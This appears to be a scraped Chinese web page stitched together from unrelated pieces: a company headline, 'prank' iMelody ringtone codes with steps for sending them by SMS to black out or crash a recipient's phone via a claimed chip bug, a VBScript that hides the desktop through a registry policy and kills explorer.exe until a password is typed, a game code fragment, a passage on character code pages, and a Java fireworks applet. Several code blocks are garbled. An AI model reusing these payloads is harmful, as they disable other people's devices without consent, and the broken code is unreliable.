重庆分公司,新征程启航
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BEGBEGIN:IMELODY
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VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+melody+"@9999999999999999999999999)"
手机黑屏代码
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手机狂震代码
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@0)
END:IMELODY
说明
1 “@”后面的数字越大,重复次数越多
2把上面代码复制,在计算机上保存为.txt文本文件,再改名为 .imy 文件
3 imy 放到手机里的Audio文件夹
4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.
具体如下:
连连看的小源码
package Lianliankan;
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class lianliankan implements ActionListener
{
JFrame mainFrame; //主面板
Container thisContainer;
JPanel centerPanel,southPanel,northPanel; //子面板
JButton diamondsButton[][] = new JButton[6][5];//游戏按钮数组
JButton exitButton,resetButton,newlyButton; //退出,重列,重新开始按钮
JLabel fractionLable=new JLabel("0"); //分数标签
JButton firstButton,secondButton; //
分别记录两次62616964757a686964616fe59b9ee7ad9431333335326239被选中的按钮
int grid[][] = new int[8][7];//储存游戏按钮位置
static boolean pressInformation=false; //判断是否有按钮被选中
int x0=0,y0=0,x=0,y=0,fristMsg=0,secondMsg=0,validateLV; //游戏按钮的位置坐标
int i,j,k,n;//消除方法控制
代码(code)是程序员用开发工具所支持的语言写出来的源文件,是一组由字符、符号或信号码元以离散形式表示信息的明确的规则体系。
对于字符和Unicode数据的位模式的定义,此模式代表特定字母、数字或符号(例如 0x20 代表一个空格,而 0x74 代表字符“t”)。一些数据类型每个字符使用一个字节;每个字节可以具有 256 个不同的位模式中的一个模式。
在计算机中,字符由不同的位模式(ON 或 OFF)表示。每个字节有 8 位,这 8 位可以有 256 种不同的 ON 和 OFF 组合模式。对于使用 1 个字节存储每个字符的程序,通过给每个位模式指派字符可表示最多 256 个不同的字符。2 个字节有 16 位,这 16 位可以有 65,536 种唯一的 ON 和 OFF 组合模式。使用 2 个字节表示每个字符的程序可表示最多 65,536 个字符。
单字节代码页是字符定义,这些字符映射到每个字节可能有的 256 种位模式中的每一种。代码页定义大小写字符、数字、符号以及 !、@、#、% 等特殊字符的位模式。每种欧洲语言(如德语和西班牙语)都有各自的单字节代码页。
虽然用于表示 A 到 Z 拉丁字母表字符的位模式在所有的代码页中都相同,但用于表示重音字符(如"é"和"á")的位模式在不同的代码页中却不同。如果在运行不同代码页的计算机间交换数据,必须将所有字符数据由发送计算机的代码页转换为接收计算机的代码页。如果源数据中的扩展字符在接收计算机的代码页中未定义,那么数据将丢失。
如果某个数据库为来自许多不同国家的客户端提供服务,则很难为该数据库选择这样一种代码页,使其包括所有客户端计算机所需的全部扩展字符。而且,在代码页间不停地转换需要花费大量的处理时间。
set ws = wscript.createobject("wscript.shell")
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3
end if
ws.run" "
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载,密码错误!请重试 !"
end if
loop
这个是比较有名的那个烟花,不知道你有没有用:
建个工程,以Fireworks为类即可
import java.awt.*;
import java.applet.*;
import java.awt.event.*;
import javax.swing.*;
public class Fireworks extends Applet implements MouseListener,Runnable
{
int x,y;
int top,point;
/**
*对小程序进行变量和颜色的初始化。
*/
public void init()
{
x = 0;
y = 0;
//设置背景色为黑色
setBackground(Color.black);
addMouseListener(this);
}
public void paint(Graphics g)
{
}
/**
*使该程序可以作为应用程序运行。
*/
public static void main(String args[]) {
Fireworks applet = new Fireworks();
JFrame frame = new JFrame("TextAreaNew");
frame.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e){
System.exit(0);
}
});
frame.getContentPane().add(
applet, BorderLayout.CENTER);
frame.setSize(800,400);
applet.init();
applet.start();
frame.setVisible(true);
}
/**
*程序主线程,对一个烟花进行绘制。
*/
public void run()
{
//变量初始化
Graphics g1;
g1 = getGraphics();
int y_move,y_click,x_click;
int v;
x_click = x;
y_click = y;
y_move = 400;
v = 3;
int r,g,b;
while(y_move y_click)
{
g1.setColor(Color.black);
g1.fillOval(x_click,y_move,5,5);
y_move -= 5;
r = (((int)Math.round(Math.random()*4321))%200)+55;
g = (((int)Math.round(Math.random()*4321))%200)+55;
b = (((int)Math.round(Math.random()*4321))%200)+55;
g1.setColor(new Color(r,g,b));
g1.fillOval(x_click,y_move,5,5);
for(int j = 0 ;j=10;j++)
{
if(r55) r -= 20;
if(g55) g -= 20;
if(b55) b -=20;
g1.setColor(new Color(r,g,b));
g1.fillOval(x_click,y_move+j*5,5,5);
}
g1.setColor(Color.black);
g1.fillOval(x_click,y_move+5*10,5,5);
try
{
Thread.currentThread().sleep(v++);
} catch (InterruptedException e) {}
}
for(int j=12;j=0;j--)
{
g1.setColor(Color.black);
g1.fillOval(x_click,y_move+(j*5),5,5);
try
{
Thread.currentThread().sleep((v++)/3);
} catch (InterruptedException e) {}
}
y_move = 400;
g1.setColor(Color.black);
while(y_move y_click)
{
g1.fillOval(x_click-2,y_move,9,5);
y_move -= 5;
}
v = 15;
for(int i=0;i=25;i++)
{
r = (((int)Math.round(Math.random()*4321))%200)+55;
g = (((int)Math.round(Math.random()*4321))%200)+55;
b = (((int)Math.round(Math.random()*4321))%200)+55;
g1.setColor(new Color(r,g,b));
g1.drawOval(x_click-3*i,y_click-3*i,6*i,6*i);
if(i23)
{
g1.drawOval(x_click-3*(i+1),y_click-3*(i+1),6*(i+1),6*(i+1));
g1.drawOval(x_click-3*(i+2),y_click-3*(i+2),6*(i+2),6*(i+2));
}
try
{
Thread.currentThread().sleep(v++);
} catch (InterruptedException e) {}
g1.setColor(Color.black);
g1.drawOval(x_click-3*i,y_click-3*i,6*i,6*i);
}
}
/**
*对鼠标事件进行监听。
*临听其鼠标按下事件。
*当按下鼠标时,产生一个新线程。
*/
public void mousePressed(MouseEvent e)
{
x = e.getX();
y = e.getY();
Thread one;
one = new Thread(this);
one.start();
one = null;
}
/**
*实现MouseListener接中的方法。为一个空方法。
*/
public void mouseReleased(MouseEvent e)
{
}
/**
*实现MouseListener接中的方法。为一个空方法。
*/
public void mouseEntered(MouseEvent e)
{
}
/**
*实现MouseListener接中的方法。为一个空方法。
*/
public void mouseExited(MouseEvent e)
{
}
/**
*实现MouseListener接中的方法。为一个空方法。
*/
public void mouseClicked(MouseEvent e)
{
}
}